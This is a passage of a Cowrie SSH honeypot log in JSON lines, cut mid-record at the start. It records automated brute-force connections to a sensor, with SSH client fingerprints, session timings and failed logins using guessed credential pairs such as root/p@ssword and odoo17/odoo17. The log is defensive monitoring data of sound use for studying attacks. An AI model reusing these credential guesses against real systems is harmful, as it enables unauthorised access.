m","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:47.688743Z","src_ip":"91.92.42.133","session":"5ea0be5a16ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44748,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f209f7a530d","protocol":"ssh","message":"New connection: 91.92.40.171:44748 (159.203.135.109:22) [session: 4f209f7a530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:48.404361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:48.411336Z","src_ip":"91.92.40.171","session":"4f209f7a530d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:48.534049Z","src_ip":"91.92.40.171","session":"4f209f7a530d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:49.154736Z","src_ip":"91.92.40.171","session":"4f209f7a530d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:50.083695Z","src_ip":"91.92.42.133","session":"5ea0be5a16ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:50.284498Z","src_ip":"91.92.40.171","session":"4f209f7a530d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:51.463991Z","src_ip":"91.92.42.133","session":"5ea0be5a16ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44816,"dst_ip":"159.203.135.109","dst_port":22,"session":"c275f66033b3","protocol":"ssh","message":"New connection: 91.92.40.171:44816 (159.203.135.109:22) [session: c275f66033b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:54.147314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:54.178282Z","src_ip":"91.92.40.171","session":"c275f66033b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:54.279495Z","src_ip":"91.92.40.171","session":"c275f66033b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:54.614841Z","src_ip":"91.92.40.171","session":"c275f66033b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45042,"dst_ip":"159.203.135.109","dst_port":22,"session":"720344777954","protocol":"ssh","message":"New connection: 91.92.42.133:45042 (159.203.135.109:22) [session: 720344777954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:55.891953Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:55.921929Z","src_ip":"91.92.40.171","session":"c275f66033b3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:55.987413Z","src_ip":"91.92.42.133","session":"720344777954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:55.993818Z","src_ip":"91.92.42.133","session":"720344777954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:56.799384Z","src_ip":"91.92.42.133","session":"720344777954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:58.408815Z","src_ip":"91.92.42.133","session":"720344777954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54380,"dst_ip":"159.203.135.109","dst_port":22,"session":"450f5266c0b9","protocol":"ssh","message":"New connection: 91.92.40.171:54380 (159.203.135.109:22) [session: 450f5266c0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:59.974726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:00.061980Z","src_ip":"91.92.40.171","session":"450f5266c0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:00.132875Z","src_ip":"91.92.40.171","session":"450f5266c0b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:00.528737Z","src_ip":"91.92.40.171","session":"450f5266c0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:01.965358Z","src_ip":"91.92.40.171","session":"450f5266c0b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45090,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fce2df85c22","protocol":"ssh","message":"New connection: 91.92.42.133:45090 (159.203.135.109:22) [session: 2fce2df85c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:03.141480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:03.217299Z","src_ip":"91.92.42.133","session":"2fce2df85c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:03.351442Z","src_ip":"91.92.42.133","session":"2fce2df85c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:04.283484Z","src_ip":"91.92.42.133","session":"2fce2df85c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:05.578717Z","src_ip":"91.92.42.133","session":"2fce2df85c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60004,"dst_ip":"159.203.135.109","dst_port":22,"session":"106ff4d62b83","protocol":"ssh","message":"New connection: 91.92.40.171:60004 (159.203.135.109:22) [session: 106ff4d62b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:07.599857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:07.655842Z","src_ip":"91.92.40.171","session":"106ff4d62b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50546,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ed468cce1a","protocol":"ssh","message":"New connection: 27.71.230.31:50546 (159.203.135.109:22) [session: 53ed468cce1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:08.050784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:08.107275Z","src_ip":"27.71.230.31","session":"53ed468cce1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:08.323180Z","src_ip":"91.92.40.171","session":"106ff4d62b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39610,"dst_ip":"159.203.135.109","dst_port":22,"session":"df1514561205","protocol":"ssh","message":"New connection: 91.92.42.133:39610 (159.203.135.109:22) [session: df1514561205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:10.428818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:10.775171Z","src_ip":"91.92.42.133","session":"df1514561205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:10.778940Z","src_ip":"91.92.42.133","session":"df1514561205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60062,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd6239cc11f","protocol":"ssh","message":"New connection: 91.92.40.171:60062 (159.203.135.109:22) [session: 1fd6239cc11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:11.250073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:11.316740Z","src_ip":"91.92.40.171","session":"1fd6239cc11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:11.416502Z","src_ip":"91.92.40.171","session":"1fd6239cc11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:11.753027Z","src_ip":"91.92.40.171","session":"1fd6239cc11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:12.201136Z","src_ip":"91.92.40.171","session":"106ff4d62b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:12.877381Z","src_ip":"91.92.40.171","session":"1fd6239cc11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:13.013290Z","src_ip":"91.92.42.133","session":"df1514561205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:14.072291Z","src_ip":"91.92.40.171","session":"106ff4d62b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:14.464748Z","src_ip":"91.92.42.133","session":"df1514561205","protocol":"ssh"}
